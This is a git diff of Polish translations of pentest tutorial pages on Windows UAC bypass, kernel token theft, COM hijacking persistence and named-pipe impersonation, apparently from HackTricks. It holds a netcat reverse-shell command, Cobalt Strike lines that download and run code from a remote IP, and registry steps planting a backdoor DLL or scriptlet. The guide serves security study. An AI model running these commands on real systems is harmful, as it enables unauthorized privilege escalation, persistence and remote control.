-Ominięcie UAC jest potrzebne w następującej sytuacji: **UAC jest włączony, Twój proces działa w kontekście o średnim poziomie integralności, a Twój użytkownik należy do grupy administratorów**.
+The UAC bypass is needed in the following situation: **the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group**.
 
-Ważne jest, aby wspomnieć, że **zdecydowanie trudniej jest ominąć UAC, gdy jest ustawiony na najwyższy poziom zabezpieczeń (Always), niż gdy jest w którymkolwiek z pozostałych poziomów (Default).**
+It is important to mention that it is **much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).**
 
-### UAC wyłączony
+### UAC disabled
 
-Jeśli UAC jest już wyłączony (`ConsentPromptBehaviorAdmin` ma wartość **`0`**) możesz **uruchomić reverse shell z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego:
+If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **wykonać reverse shell z admin privileges** (high integrity level) using something like:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -113,7 +113,7 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
 
 ### **Bardzo** podstawowy UAC "bypass" (pełny dostęp do systemu plików)
 
-Jeśli masz shell z użytkownikiem należącym do grupy Administrators, możesz **zamontować udział C$** przez SMB (system plików) lokalnie jako nowy dysk i będziesz mieć **dostęp do całego systemu plików** (nawet do folderu domowego Administratora).
+Jeśli masz shell z użytkownikiem należącym do grupy Administrators możesz **zamontować udział C$** przez SMB (system plików) lokalnie jako nowy dysk i będziesz mieć **dostęp do wszystkiego w systemie plików** (nawet folderu domowego Administratora).
 
 > [!WARNING]
 > **Wygląda na to, że ten trik już nie działa**
@@ -124,9 +124,9 @@ cd C$
 #Or you could just access it:
 dir \\127.0.0.1\c$\Users\Administrator\Desktop
 ```
-### UAC bypass with cobalt strike
+### UAC bypass z cobalt strike
 
-Techniki Cobalt Strike będą działać tylko wtedy, gdy UAC nie jest ustawiony na maksymalny poziom zabezpieczeń.
+Techniki Cobalt Strike będą działać tylko wtedy, gdy UAC nie jest ustawiony na maksymalnym poziomie zabezpieczeń.
 ```bash
 # UAC bypass via token duplication
 elevate uac-token-duplication [listener_name]
@@ -138,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
 # Bypass UAC with CMSTPLUA COM interface
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 ```
-**Empire** i **Metasploit** mają również kilka modułów umożliwiających **bypass** **UAC**.
+**Empire** i **Metasploit** mają także kilka modułów do **bypass** **UAC**.
 
 ### KRBUACBypass
 
-Dokumentacja i narzędzie: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
+Dokumentacja i narzędzie w [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
 
 ### UAC bypass exploits
 
-[**UACME** ](https://github.com/hfiref0x/UACME) który jest **kompilacją** kilku UAC bypass exploits. Zauważ, że będziesz musiał **skompilować UACME używając visual studio lub msbuild**. Proces kompilacji utworzy kilka plików wykonywalnych (np. `Source\Akagi\outout\x64\Debug\Akagi.exe`), będziesz musiał wiedzieć **który z nich potrzebujesz.**\
-Powinieneś **zachować ostrożność**, ponieważ niektóre bypasses wyświetlą **monity w innych programach**, które **powiadomią** **użytkownika**, że coś się dzieje.
+[**UACME** ](https://github.com/hfiref0x/UACME) które jest **kompilacją** kilku exploitów omijających UAC. Zauważ, że będziesz musiał **skompilować UACME przy użyciu visual studio lub msbuild**. Proces kompilacji utworzy kilka plików wykonywalnych (np. `Source\Akagi\outout\x64\Debug\Akagi.exe`), będziesz musiał wiedzieć **który z nich potrzebujesz.**\
+Powinieneś **zachować ostrożność**, ponieważ niektóre bypasses spowodują, że **inne programy wyświetlą monity**, które **zaalarmują** **użytkownika**, że coś się dzieje.
 
-UACME zawiera **numer kompilacji, od którego każda technika zaczęła działać**. Możesz wyszukać technikę wpływającą na Twoje wersje:
+UACME zawiera **wersję build, od której każda technika zaczęła działać**. Możesz wyszukać technikę dotyczącą twoich wersji:
 ```
 PS C:\> [environment]::OSVersion.Version
 
@@ -157,17 +157,17 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-Dodatkowo, korzystając z [this](https://en.wikipedia.org/wiki/Windows_10_version_history) strony, otrzymasz wydanie Windows `1607` na podstawie numerów kompilacji.
+Ponadto, korzystając z [this](https://en.wikipedia.org/wiki/Windows_10_version_history), uzyskasz wydanie Windows `1607` na podstawie numerów build.
 
 ### UAC Bypass – fodhelper.exe (Registry hijack)
 
-Zaufany plik wykonywalny `fodhelper.exe` jest automatycznie podnoszony (auto-elevated) we współczesnych Windows. Po uruchomieniu odpyta poniższą ścieżkę rejestru dla użytkownika bez walidacji wartości `DelegateExecute`. Umieszczenie tam polecenia pozwala procesowi o Medium Integrity (użytkownik należy do grupy Administrators) uruchomić proces o High Integrity bez monitu UAC.
+Zaufany binarny plik `fodhelper.exe` jest automatycznie podnoszony w nowoczesnych Windows. Po uruchomieniu sprawdza ścieżkę rejestru przypisaną do użytkownika (per-user) podaną poniżej, nie weryfikując werbu `DelegateExecute`. Umieszczenie tam polecenia pozwala procesowi o Medium Integrity (użytkownik jest w Administrators) uruchomić proces o High Integrity bez monitu UAC.
 
 Registry path queried by fodhelper:
 ```
 HKCU\Software\Classes\ms-settings\Shell\Open\command
 ```
-Kroki PowerShell (ustaw swój payload, następnie uruchom):
+Kroki PowerShell (ustaw payload, a następnie uruchom):
 ```powershell
 # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
 C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
@@ -187,15 +187,15 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
 Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
 ```
 Notatki:
-- Działa, gdy bieżący użytkownik jest członkiem Administrators i poziom UAC jest domyślny/łagodny (nie Always Notify z dodatkowymi ograniczeniami).
+- Działa, gdy bieżący użytkownik jest członkiem grupy Administrators i poziom UAC jest domyślny/łagodny (nie Always Notify z dodatkowymi ograniczeniami).
 - Użyj ścieżki `sysnative`, aby uruchomić 64-bitowy PowerShell z 32-bitowego procesu na 64-bitowym Windows.
-- Payload może być dowolnym poleceniem (PowerShell, cmd lub ścieżka do EXE). Unikaj wywoływania UI wymagających potwierdzenia, aby zachować stealth.
+- Payload może być dowolnym poleceniem (PowerShell, cmd lub ścieżka do EXE). Unikaj wywoływania UIs z monitami, aby pozostać stealth.
 
 #### More UAC bypass
 
-**Wszystkie** techniki użyte tutaj do obejścia AUC **wymagają** **pełnej interaktywnej powłoki** z ofiarą (zwykła powłoka nc.exe nie wystarczy).
+**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
 
-Możesz to uzyskać, używając sesji **meterpreter**. Zmigruj do **process**, który ma wartość **Session** równą **1**:
+Możesz to uzyskać używając sesji **meterpreter**. Zmigruj do **procesu**, który ma wartość **Session** równą **1**:
 
 ![](<../../images/image (863).png>)
 
@@ -203,17 +203,17 @@ Możesz to uzyskać, używając sesji **meterpreter**. Zmigruj do **process**, k
 
 ### UAC Bypass with GUI
 
-Jeśli masz dostęp do **GUI**, możesz po prostu zaakceptować monit UAC, gdy się pojawi — w zasadzie nie potrzebujesz bypassu. Uzyskanie dostępu do GUI pozwoli ci obejść UAC.
+Jeśli masz dostęp do **GUI możesz po prostu zaakceptować monit UAC** gdy się pojawi, naprawdę nie potrzebujesz wtedy obejścia. Zatem uzyskanie dostępu do GUI pozwoli ci obejść UAC.
 
-Co więcej, jeśli uzyskasz sesję GUI, z której ktoś korzystał (potencjalnie przez RDP), istnieją **narzędzia uruchamiane jako administrator**, z których możesz na przykład **uruchomić** **cmd** **jako admin** bez ponownego wyświetlania monitu UAC, np. [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). To może być trochę bardziej **stealthy**.
+Co więcej, jeśli uzyskasz sesję GUI, której ktoś używał (potencjalnie przez RDP), istnieją **niektóre narzędzia, które będą działać jako administrator**, z których możesz na przykład **uruchomić** **cmd** **as admin** bez ponownego wyświetlania monitu UAC, np. [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). To może być trochę bardziej **stealthy**.
 
 ### Noisy brute-force UAC bypass
 
-Jeśli nie zależy ci na dyskrecji, możesz zawsze **uruchomić coś w stylu** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), co będzie **prosić o podniesienie uprawnień aż użytkownik zaakceptuje**.
+Jeśli nie zależy ci na byciu głośnym, możesz zawsze **uruchomić coś takiego jak** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), które **będzie prosić o podniesienie uprawnień aż użytkownik to zaakceptuje**.
 
 ### Your own bypass - Basic UAC bypass methodology
 
-Jeśli spojrzysz na **UACME**, zauważysz, że **większość bypassów UAC wykorzystuje podatność typu Dll Hijacking** (głównie zapisując złośliwą dll w _C:\Windows\System32_). [Przeczytaj to, aby nauczyć się, jak znaleźć podatność Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
+Jeśli spojrzysz na **UACME** zauważysz, że **większość obejść UAC wykorzystuje podatność Dll Hijacking** (głównie poprzez zapisanie złośliwej dll w _C:\Windows\System32_). [Przeczytaj to, aby dowiedzieć się jak znaleźć podatność Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
 1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
 2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
@@ -224,7 +224,7 @@ Jeśli spojrzysz na **UACME**, zauważysz, że **większość bypassów UAC wyko
 
 ### Another UAC bypass technique
 
-Polega na obserwowaniu, czy **autoElevated binary** próbuje **odczytać** z **rejestru** nazwę/ścieżkę **binarki** lub **polecenia** do **uruchomienia** (to jest bardziej interesujące, jeśli binarka szuka tych informacji w **HKCU**).
+Polega na obserwowaniu, czy **autoElevated binary** próbuje **odczytać** z **registry** **nazwę/ścieżkę** **binary** lub **command**, które mają zostać **wykonane** (to jest bardziej interesujące, jeśli binarka szuka tych informacji w **HKCU**).
 
 ## References
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md

@@ -4,35 +4,35 @@
 
 ## Przegląd
 
-Jeśli podatny sterownik udostępnia IOCTL dający atakującemu dowolne prymitywy kernel read i/lub write, eskalacja do NT AUTHORITY\SYSTEM często jest możliwa przez kradzież tokena SYSTEM. Technika kopiuje wskaźnik Token z EPROCESS procesu SYSTEM do EPROCESS bieżącego procesu.
+Jeśli podatny driver ujawnia IOCTL, który daje atakującemu arbitrary kernel read i/lub write primitives, podniesienie uprawnień do NT AUTHORITY\SYSTEM można często osiągnąć przez kradzież tokenu dostępu SYSTEM. Technika kopiuje wskaźnik Token z EPROCESS procesu SYSTEM do EPROCESS bieżącego procesu.
 
 Dlaczego to działa:
-- Każdy proces ma strukturę EPROCESS, która zawiera (między innymi polami) Token (w rzeczywistości EX_FAST_REF do obiektu token).
-- Proces SYSTEM (PID 4) posiada token ze wszystkimi włączonymi uprawnieniami.
-- Zamiana EPROCESS.Token bieżącego procesu na wskaźnik tokena SYSTEM sprawia, że bieżący proces natychmiast działa jako SYSTEM.
+- Każdy proces ma strukturę EPROCESS, która zawiera (między innymi polami) Token (w rzeczywistości EX_FAST_REF do obiektu tokenu).
+- Proces SYSTEM (PID 4) posiada token ze wszystkimi uprawnieniami włączonymi.
+- Podmiana EPROCESS.Token bieżącego procesu na wskaźnik tokenu SYSTEM powoduje, że bieżący proces natychmiast działa jako SYSTEM.
 
-> Offsets w EPROCESS różnią się między wersjami Windows. Określaj je dynamicznie (symbols) lub używaj stałych specyficznych dla wersji. Pamiętaj też, że EPROCESS.Token jest EX_FAST_REF (niskie 3 bity to flagi licznika referencji).
+> Offsets w EPROCESS różnią się między wersjami Windows. Określ je dynamicznie (symbols) lub użyj stałych specyficznych dla wersji. Pamiętaj też, że EPROCESS.Token jest EX_FAST_REF (niskie 3 bity to flagi licznika referencji).
 
-## Kroki wysokiego poziomu
+## Główne kroki
 
 1) Zlokalizuj bazę ntoskrnl.exe i rozwiąż adres PsInitialSystemProcess.
-- Z poziomu user mode użyj NtQuerySystemInformation(SystemModuleInformation) lub EnumDeviceDrivers, aby uzyskać bazy załadowanych sterowników.
-- Dodaj offset PsInitialSystemProcess (z symbols/reversing) do bazy jądra, aby uzyskać jego adres.
-2) Odczytaj wskaźnik pod PsInitialSystemProcess → to jest wskaźnik kernelowy do EPROCESS SYSTEM.
-3) Z EPROCESS SYSTEM odczytaj offsety UniqueProcessId i ActiveProcessLinks, aby przeszukać dwukierunkową listę EPROCESS (ActiveProcessLinks.Flink/Blink) aż znajdziesz EPROCESS, którego UniqueProcessId równa się GetCurrentProcessId(). Zachowaj oba:
+- Z poziomu user mode użyj NtQuerySystemInformation(SystemModuleInformation) lub EnumDeviceDrivers, aby uzyskać bazy załadowanych driverów.
+- Dodaj offset PsInitialSystemProcess (z symbols/reversing) do bazy kernela, aby otrzymać jego adres.
+2) Odczytaj wskaźnik pod PsInitialSystemProcess → to jest kernel pointer do EPROCESS procesu SYSTEM.
+3) Z EPROCESS procesu SYSTEM odczytaj offsety UniqueProcessId i ActiveProcessLinks, aby przejść po dwukierunkowej liście EPROCESS (ActiveProcessLinks.Flink/Blink) aż znajdziesz EPROCESS którego UniqueProcessId równa się GetCurrentProcessId(). Zachowaj oba:
 - EPROCESS_SYSTEM (dla SYSTEM)
 - EPROCESS_SELF (dla bieżącego procesu)
-4) Odczytaj wartość tokena SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
-- Wymaskuj niskie 3 bity: Token_SYS_masked = Token_SYS & ~0xF (zwykle ~0xF lub ~0x7 w zależności od build; na x64 używane są niskie 3 bity — maska 0xFFFFFFFFFFFFFFF8).
-5) Opcja A (powszechna): Zachowaj niskie 3 bity z twojego bieżącego tokena i dołącz je do wskaźnika SYSTEM, aby utrzymać zgodność osadzonego licznika referencji.
+4) Odczytaj wartość tokenu SYSTEM: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
+- Zamaskuj niskie 3 bity: Token_SYS_masked = Token_SYS & ~0xF (często ~0xF lub ~0x7 zależnie od buildu; na x64 używane są niskie 3 bity — maska 0xFFFFFFFFFFFFFFF8).
+5) Option A (common): Zachowaj niskie 3 bity z twojego bieżącego tokenu i wklej je na wskaźnik SYSTEM, aby zachować spójność wewnętrznego ref count.
 - Token_ME = *(EPROCESS_SELF + TokenOffset)
 - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
 6) Zapisz Token_NEW z powrotem do (EPROCESS_SELF + TokenOffset) używając swojego kernel write primitive.
-7) Twój bieżący proces jest teraz SYSTEM. Opcjonalnie uruchom nowy cmd.exe lub powershell.exe, aby to potwierdzić.
+7) Twój bieżący proces jest teraz SYSTEM. Opcjonalnie uruchom nowy cmd.exe lub powershell.exe, aby potwierdzić.
 
 ## Pseudokod
 
-Poniżej szkic, który używa tylko dwóch IOCTL z podatnego sterownika, jednego do 8-bajtowego kernel read i jednego do 8-bajtowego kernel write. Zastąp interfejsem twojego sterownika.
+Poniżej szkielet, który używa tylko dwóch IOCTLs z podatnego drivera — jednego do 8-byte kernel read i jednego do 8-byte kernel write. Zastąp interfejsem twojego drivera.
 ```c
 #include <Windows.h>
 #include <Psapi.h>
@@ -106,16 +106,16 @@ return 0;
 }
 ```
 Notatki:
-- Przesunięcia: Użyj WinDbg’s `dt nt!_EPROCESS` z docelowymi PDBs, lub runtime symbol loaderem, aby uzyskać poprawne offsets. Nie hardkoduj na ślepo.
-- Maska: Na x64 token jest EX_FAST_REF; dolne 3 bity są bitami licznika referencji. Zachowanie oryginalnych dolnych bitów w twoim tokenie zapobiega natychmiastowym niespójnościom refcount.
-- Stabilność: Preferuj podniesienie uprawnień bieżącego procesu; jeśli podniesiesz krótkożyjący helper, możesz stracić SYSTEM, gdy się zakończy.
+- Offsety: Użyj WinDbg i polecenia `dt nt!_EPROCESS` z PDBs celu lub loaderem symboli w czasie wykonywania, aby uzyskać poprawne offsety. Nie hardkoduj tego na ślepo.
+- Maska: Na x64 token jest EX_FAST_REF; niskie 3 bity to bity licznika referencji. Zachowanie oryginalnych niskich bitów w tokenie zapobiega natychmiastowym niespójnościom licznika referencji.
+- Stabilność: Preferuj podniesienie uprawnień bieżącego procesu; jeśli podniesiesz krótkotrwały helper, możesz stracić SYSTEM po jego zakończeniu.
 
 ## Wykrywanie i łagodzenie
-- Przyczyną jest ładowanie niepodpisanych lub nieufanych sterowników firm trzecich, które udostępniają potężne IOCTLs.
-- Kernel Driver Blocklist (HVCI/CI), DeviceGuard oraz reguły Attack Surface Reduction mogą zapobiegać ładowaniu podatnych sterowników.
+- Ładowanie niepodpisanych lub nieufanych sterowników firm trzecich, które udostępniają potężne IOCTLs, jest główną przyczyną.
+- Kernel Driver Blocklist (HVCI/CI), DeviceGuard i reguły Attack Surface Reduction mogą zapobiec załadowaniu podatnych sterowników.
 - EDR może monitorować podejrzane sekwencje IOCTL implementujące arbitrary read/write oraz token swaps.
 
-## References
+## Referencje
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 - [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
 

src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md

@@ -4,13 +4,13 @@
 
 ### Wyszukiwanie nieistniejących komponentów COM
 
-Ponieważ wartości HKCU mogą być modyfikowane przez użytkowników **COM Hijacking** może być użyte jako **mechanizm utrzymania dostępu**. Korzystając z `procmon` łatwo znaleźć przeszukiwane wpisy rejestru COM, które nie istnieją, a które atakujący mógłby utworzyć, aby utrzymać się w systemie. Filtry:
+Ponieważ wartości HKCU mogą być modyfikowane przez użytkowników, **COM Hijacking** może być użyte jako **mechanizm utrzymania dostępu**. Za pomocą `procmon` łatwo znaleźć przeszukiwane wpisy rejestru COM, które nie istnieją, a które atakujący mógłby utworzyć, aby zachować dostęp. Filtry:
 
-- Operacje **RegOpenKey**.
+- operacje **RegOpenKey**.
 - gdzie _Result_ jest **NAME NOT FOUND**.
-- oraz _Path_ kończy się na **InprocServer32**.
+- i _Path_ kończy się na **InprocServer32**.
 
-Po wybraniu, który nieistniejący komponent COM chcesz podszyć, wykonaj następujące polecenia. _Uważaj, jeśli zdecydujesz się podszyć pod COM, który jest ładowany co kilka sekund, ponieważ może to być przesadne._
+Gdy zdecydujesz, który nieistniejący COM chcesz podszyć się pod, wykonaj następujące polecenia. _Uważaj, jeśli zdecydujesz się podszyć pod COM, który jest ładowany co kilka sekund — może to być przesadne._
 ```bash
 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
@@ -18,7 +18,7 @@ New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F
 ```
 ### Hijackable Task Scheduler COM components
 
-Windows Tasks używają Custom Triggers do wywoływania COM objects, a ponieważ są uruchamiane przez Task Scheduler, łatwiej przewidzieć, kiedy zostaną wywołane.
+Windows Tasks używają Custom Triggers do wywoływania COM objects, a ponieważ są uruchamiane przez Task Scheduler, łatwiej przewidzieć, kiedy zostaną uruchomione.
 
 <pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]</code></pre>
 
-Sprawdzając wyjście, możesz wybrać taki, który będzie uruchamiany na przykład **za każdym razem, gdy użytkownik się zaloguje**.
+Analizując wynik, możesz wybrać taki, który na przykład będzie wywoływany **przy każdym logowaniu użytkownika**.
 
-Teraz, szukając CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** w **HKEY\CLASSES\ROOT\CLSID** oraz w HKLM i HKCU, zwykle stwierdzisz, że wartość ta nie istnieje w HKCU.
+Teraz, przeszukując CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** w **HKEY\CLASSES\ROOT\CLSID** oraz w HKLM i HKCU, zazwyczaj okaże się, że wartość nie istnieje w HKCU.
 ```bash
 # Exists in HKCR\CLSID\
 Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@@ -72,32 +72,32 @@ Name                                   Property
 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 ```
-Następnie możesz po prostu utworzyć wpis HKCU i za każdym logowaniem użytkownika twój backdoor zostanie uruchomiony.
+Następnie możesz po prostu utworzyć wpis w HKCU i za każdym razem, gdy użytkownik się zaloguje, twój backdoor zostanie uruchomiony.
 
 ---
 
 ## COM TypeLib Hijacking (script: moniker persistence)
 
-Type Libraries (TypeLib) definiują interfejsy COM i są ładowane za pomocą `LoadTypeLib()`. Gdy serwer COM jest instancjonowany, OS może także załadować powiązany TypeLib, konsultując klucze rejestru pod `HKCR\TypeLib\{LIBID}`. Jeśli ścieżka TypeLib zostanie zamieniona na **moniker**, np. `script:C:\...\evil.sct`, Windows wykona scriptlet w momencie rozwiązywania TypeLib — dając ukryty mechanizm persistence, który uruchamia się, gdy wspólne komponenty są używane.
+Type Libraries (TypeLib) definiują interfejsy COM i są ładowane za pomocą `LoadTypeLib()`. Kiedy serwer COM jest instancjonowany, system może również załadować powiązany TypeLib, sprawdzając klucze rejestru pod `HKCR\TypeLib\{LIBID}`. Jeśli ścieżka TypeLib zostanie zastąpiona **monikerem**, np. `script:C:\...\evil.sct`, Windows wykona scriptlet w momencie rozwiązania TypeLib — dając ukrytą formę persistence, która uruchamia się, gdy dotknięte zostaną powszechne komponenty.
 
-Zaobserwowano to w kontekście Microsoft Web Browser control (często ładowanego przez Internet Explorer, aplikacje osadzające WebBrowser, a nawet `explorer.exe`).
+This has been observed against the Microsoft Web Browser control (frequently loaded by Internet Explorer, apps embedding WebBrowser, and even `explorer.exe`).
 
-### Kroki (PowerShell)
+### Steps (PowerShell)
 
-1) Zidentyfikuj TypeLib (LIBID) używany przez CLSID o dużej częstotliwości. Przykładowy CLSID często nadużywany przez malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
+1) Zidentyfikuj TypeLib (LIBID) używany przez CLSID często wywoływany. Przykładowy CLSID często nadużywany przez łańcuchy malware: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
 ```powershell
 $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
 $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
 $ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
 "CLSID=$clsid  LIBID=$libid  VER=$ver"
 ```
-2) Wskaż ścieżkę TypeLib dla użytkownika na lokalny scriptlet, używając monikera `script:` (nie są wymagane prawa administratora):
+2) Wskaż per-user TypeLib path na lokalny scriptlet, używając monikeru `script:` (prawa administratora nie są wymagane):
 ```powershell
 $dest = 'C:\\ProgramData\\Udate_Srv.sct'
 New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
 Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
 ```
-3) Umieść minimalny JScript `.sct`, który ponownie uruchomi twój główny payload (np. `.lnk` używany przez początkowy łańcuch):
+3) Drop minimalny JScript `.sct`, który ponownie uruchamia twój główny payload (np. `.lnk` używany przez początkowy chain):
 ```xml
 <?xml version="1.0"?>
 <scriptlet>
@@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
 </script>
 </scriptlet>
 ```
-4) Wywoływanie – otwarcie IE, aplikacji, która osadza WebBrowser control, lub nawet rutynowa aktywność Explorer spowoduje załadowanie TypeLib i wykonanie scriptlet, ponownie uzbrajając twój chain przy logon/reboot.
+4) Wyzwalanie – otwarcie IE, aplikacji, która osadza WebBrowser control, lub nawet rutynowa aktywność Explorer spowoduje załadowanie TypeLib i wykonanie scriptlet, ponownie uzbrajając łańcuch przy logon/reboot.
 
 Czyszczenie
 ```powershell
@@ -123,9 +123,9 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
 # Delete the dropped scriptlet
 Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
 ```
-Uwagi
+Notatki
 - Możesz zastosować tę samą logikę do innych często używanych komponentów COM; zawsze najpierw ustal rzeczywisty `LIBID` z `HKCR\CLSID\{CLSID}\TypeLib`.
-- Na systemach 64-bitowych możesz również wypełnić podklucz `win64` dla konsumentów 64-bitowych.
+- Na systemach 64-bitowych możesz także wypełnić podklucz `win64` dla 64-bitowych aplikacji.
 
 ## Źródła
 

src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

@@ -2,29 +2,29 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Named Pipe client impersonation to prymityw lokalnego eskalowania uprawnień, który pozwala wątkowi serwera named-pipe przyjąć kontekst zabezpieczeń klienta, który się z nim łączy. W praktyce atakujący, który może uruchamiać kod z uprawnieniami SeImpersonatePrivilege, może wymusić, aby uprzywilejowany klient (np. usługa SYSTEM) połączył się z pipe kontrolowaną przez atakującego, wywołać ImpersonateNamedPipeClient, zdublować powstały token do tokena głównego i uruchomić proces jako ten klient (często NT AUTHORITY\SYSTEM).
+Named Pipe client impersonation jest lokalnym prymitywem eskalacji uprawnień, który pozwala wątkowi serwera named-pipe przyjąć kontekst bezpieczeństwa klienta, który się z nim łączy. W praktyce atakujący, który może uruchamiać kod z uprawnieniem SeImpersonatePrivilege, może zmusić uprzywilejowanego klienta (np. usługę uruchomioną jako SYSTEM) do połączenia się z rurą kontrolowaną przez atakującego, wywołać ImpersonateNamedPipeClient, zduplikować otrzymany token do tokenu pierwotnego i uruchomić proces jako ten klient (często NT AUTHORITY\SYSTEM).
 
-Ta strona koncentruje się na podstawowej technice. Dla end-to-end łańcuchów exploitów, które wymuszają, aby SYSTEM połączył się z twoją pipe, zobacz strony z rodziny Potato wymienione poniżej.
+Ta strona skupia się na podstawowej technice. Dla end-to-end exploit chains, które zmuszają SYSTEM do połączenia z twoją pipe, zobacz strony z rodziny Potato wymienione poniżej.
 
 ## TL;DR
-- Utwórz named pipe: \\.\pipe\<random> i oczekuj na połączenie.
-- Spowoduj, aby uprzywilejowany komponent połączył się z nim (spooler/DCOM/EFSRPC/etc.).
-- Odczytaj przynajmniej jedną wiadomość z pipe, następnie wywołaj ImpersonateNamedPipeClient.
-- Otwórz token impersonacji w bieżącym wątku, DuplicateTokenEx(TokenPrimary) i użyj CreateProcessWithTokenW/CreateProcessAsUser, aby uruchomić proces jako SYSTEM.
+- Utwórz named pipe: \\.\pipe\<random> i czekaj na połączenie.
+- Zmusić uprzywilejowany komponent do połączenia się z nią (spooler/DCOM/EFSRPC/etc.).
+- Odczytaj przynajmniej jedną wiadomość z pipe, potem wywołaj ImpersonateNamedPipeClient.
+- Otwórz token impersonacji z bieżącego wątku, DuplicateTokenEx(TokenPrimary) i użyj CreateProcessWithTokenW/CreateProcessAsUser, aby uzyskać proces SYSTEM.
 
-## Wymagania i kluczowe API
-- Uprawnienia zazwyczaj potrzebne procesowi/wątkowi wywołującemu:
-- SeImpersonatePrivilege — do skutecznego podszycia się pod klienta łączącego się oraz do użycia CreateProcessWithTokenW.
-- Alternatywnie, po podszyciu się pod SYSTEM możesz użyć CreateProcessAsUser, co może wymagać SeAssignPrimaryTokenPrivilege i SeIncreaseQuotaPrivilege (te uprawnienia są spełnione, gdy podszywasz się pod SYSTEM).
-- Podstawowe API używane:
+## Requirements and key APIs
+- Uprawnienia zwykle potrzebne procesowi/wątkowi wywołującemu:
+- SeImpersonatePrivilege do skutecznego impersonowania łączącego się klienta oraz do użycia CreateProcessWithTokenW.
+- Alternatywnie, po impersonowaniu SYSTEM możesz użyć CreateProcessAsUser, co może wymagać SeAssignPrimaryTokenPrivilege i SeIncreaseQuotaPrivilege (są one spełnione, gdy impersonujesz SYSTEM).
+- Główne używane API:
 - CreateNamedPipe / ConnectNamedPipe
-- ReadFile/WriteFile (należy odczytać co najmniej jedną wiadomość przed podszyciem)
-- ImpersonateNamedPipeClient i RevertToSelf
+- ReadFile/WriteFile (należy odczytać co najmniej jedną wiadomość przed impersonacją)
+- ImpersonateNamedPipeClient and RevertToSelf
 - OpenThreadToken, DuplicateTokenEx(TokenPrimary)
